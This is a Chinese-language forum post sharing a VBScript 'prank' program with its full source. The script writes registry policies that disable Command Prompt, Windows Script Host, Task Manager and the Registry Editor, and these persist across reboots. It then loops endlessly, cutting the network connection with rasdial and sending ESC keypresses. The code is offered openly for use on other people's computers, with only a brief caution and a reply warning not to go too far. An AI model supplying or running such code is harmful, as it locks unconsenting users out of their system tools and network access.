[分享] 用VBScript做的整人程式(電腦斷線、按ESC鍵)

gn02297012

由於程式只有在出錯的時候會跳訊息視窗，所以沒有截圖

此程式會讓電腦無法開啟CMD、WSH、TaskMgr、Regedit，即使重開機也是如此！
除了上述，還會讓電腦斷線(不能上網)，以及發送ESC鍵(讓選單快速消失)，不過這兩個只需要重開機就能解決了。
請謹慎使用！

1. '整人程式(電腦斷線、按ESC鍵)
   
2. '作者的Yahoo即時通：jses88001
   
3. '完成時間：2010-01-30
   
4. '此程式會先讓電腦無法開啟CMD、WSH、TaskMgr、Regedit，接著會不斷讓電腦斷線以及發送ESC鍵
   
5. '====================
   
6. Set Shell = WScript.CreateObject("Wscript.Shell")
   
7. Shell.RegWrite "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System\DisableCMD", "1", "REG_DWORD"
   
8. Shell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Script Host\Settings\Enabled", "0", "REG_DWORD"
   
9. Shell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", "1", "REG_DWORD"
   
10. Shell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", "1", "REG_DWORD"
    
11. Do
    
12. Shell.Run "rasdial /disconnect",vbHide
    
13. Shell.SendKeys "{ESC}"
    
14. WScript.Sleep 100
    
15. Loop
    
16. '====================

複製代碼

無法開啟CMD、WSH、TaskMgr、Regedit的情況

• CMD
  
  
• Windows Script Host
  
  
• 工作管理員
  
  
• 登錄編輯程式
  
  

由於手動解除有些麻煩，所以我用VB6做了一個解除程式，專門解除此程式所造成之「無法開啟CMD、WSH、TaskMgr、Regedit」的情況

cocomm123

這程式不能亂嘗試 整人不要太過頭